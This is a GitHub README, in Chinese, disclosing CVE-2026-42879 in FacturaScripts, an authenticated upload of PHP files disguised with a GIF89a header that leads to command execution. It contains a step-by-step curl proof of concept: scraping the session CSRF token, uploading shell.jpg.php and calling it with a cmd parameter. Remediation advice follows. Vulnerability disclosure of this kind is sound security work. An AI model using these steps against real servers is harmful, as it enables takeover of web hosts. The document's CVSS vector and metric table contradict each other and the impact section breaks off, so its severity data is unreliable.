guzrex/CVE-2026-42879
GitHub: guzrex/CVE-2026-42879
FacturaScripts 已认证 RCE 漏洞的概念验证,利用 GIF89a 头部绕过 MIME 检测实现 PHP 文件上传与命令执行。
Stars: 0 | Forks: 0
# CVE-2026-42879 - FacturaScripts - 通过 MIME 类型绕过实现已认证无限制文件上传
## 概述
FacturaScripts 的产品图片上传功能中存在一个已认证无限制文件上传漏洞。拥有有效凭据的攻击者可以上传伪装为 GIF 图片的 PHP 文件(使用 GIF89a 文件头),从而绕过 MIME 类型验证。该文件会以原始扩展名存储,包括 .php 等可执行扩展名。
## 详细信息
该漏洞存在于:
`Core/Lib/ExtendedController/ProductImagesTrait.php`
具体位于 `addImageAction()` 方法中。
### 漏洞代码
```
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
```
### 根本原因
- 验证机制仅检查 MIME 类型是否包含 `"image/"`
- 可以通过在 PHP 文件前加上 **GIF89a 魔术字节** 来绕过此验证
- 系统错误地将该文件识别为 `image/gif`
- 该文件以 `.php` 扩展名保存在可经 Web 访问的目录中
### 文件存储行为
上传的文件存储在:
```
/MyFiles/YYYY/MM/X.php
```
其中 `X` 是自动递增的 ID。这允许直接远程执行:
```
http://target/MyFiles/2026/03/2.php?cmd=id
```
## 影响
成功的利用允许:
## 攻击者可能会向服务器上传带有可执行扩展名(例如 .php)的文件,根据服务器配置,这可能导致进一步的漏洞利用。
## 概念验证(手动)
### 步骤 1:创建恶意文件
```
cat > shell.jpg.php << 'EOF'
GIF89a
EOF
```
### 步骤 2:身份验证
- 登录到应用程序
- 从浏览器 Cookie 中提取 `PHPSESSID`
### 步骤 3:获取 CSRF token
```
curl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
```
### 步骤 4:上传 shell
```
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[]=@shell.jpg.php"
```
### 步骤 5:执行命令
```
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
```
## CVSS v3.1
**向量:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N`
**基础评分:** 6.3(中危)
| 指标 | 值 |
|---|---|
| 攻击向量 | 网络 (AV:N) |
| 攻击复杂度 | 低 (AC:L) |
| 所需权限 | 低 (PR:L) |
| 用户交互 | 无 (UI:N) |
| 影响范围 | 已改变 (S:C) |
| 机密性 | 高 (C:H) |
| 完整性 | 高 (I:H) |
| 可用性 | 高 (A:H) |
### CWE
- **CWE-434**:危险类型文件的无限制上传
## 受影响的产品
| 字段 | 值 |
|---|---|
| 生态系统 | Packagist |
| CVE ID | CVE-2026-42879 |
| 包名 | `facturascripts/facturascripts` |
| 受影响版本 | <= 2025.81 |
| 已修补版本 | 尚未修补 |
| 修复状态 | 待定 |
## 修复建议
1. **验证文件扩展名** — 拒绝任何文件名以 `.php`、`.phtml`、`.phar` 或其他可执行扩展名结尾的上传,无论其 MIME 类型如何
2. **在服务器端重新生成文件名** — 切勿使用 `getClientOriginalName()`;分配一个基于 UUID 的安全名称,并使用经过验证的扩展名
3. **将上传文件存储在 webroot 之外** — 通过控制器以流式传输的方式提供文件服务,防止通过直接的 URL 执行
4. **使用文件类型库** — 使用类似 `fileinfo` 的库验证实际文件内容(魔术字节 + 扩展名 + MIME 类型),而不是信任客户端提供的 MIME 类型
## 贡献者
- **发现者**:Abdullah Alwasabei / Guzrex
标签:CISA项目, CVE-2026-42879, FacturaScripts, MIME类型绕过, PHP安全, PoC, RCE漏洞, Web安全, 协议分析, 后门, 图片马, 文件上传漏洞, 暴力破解, 权限提升, 编程工具, 蓝队分析, 认证后漏洞, 远程代码执行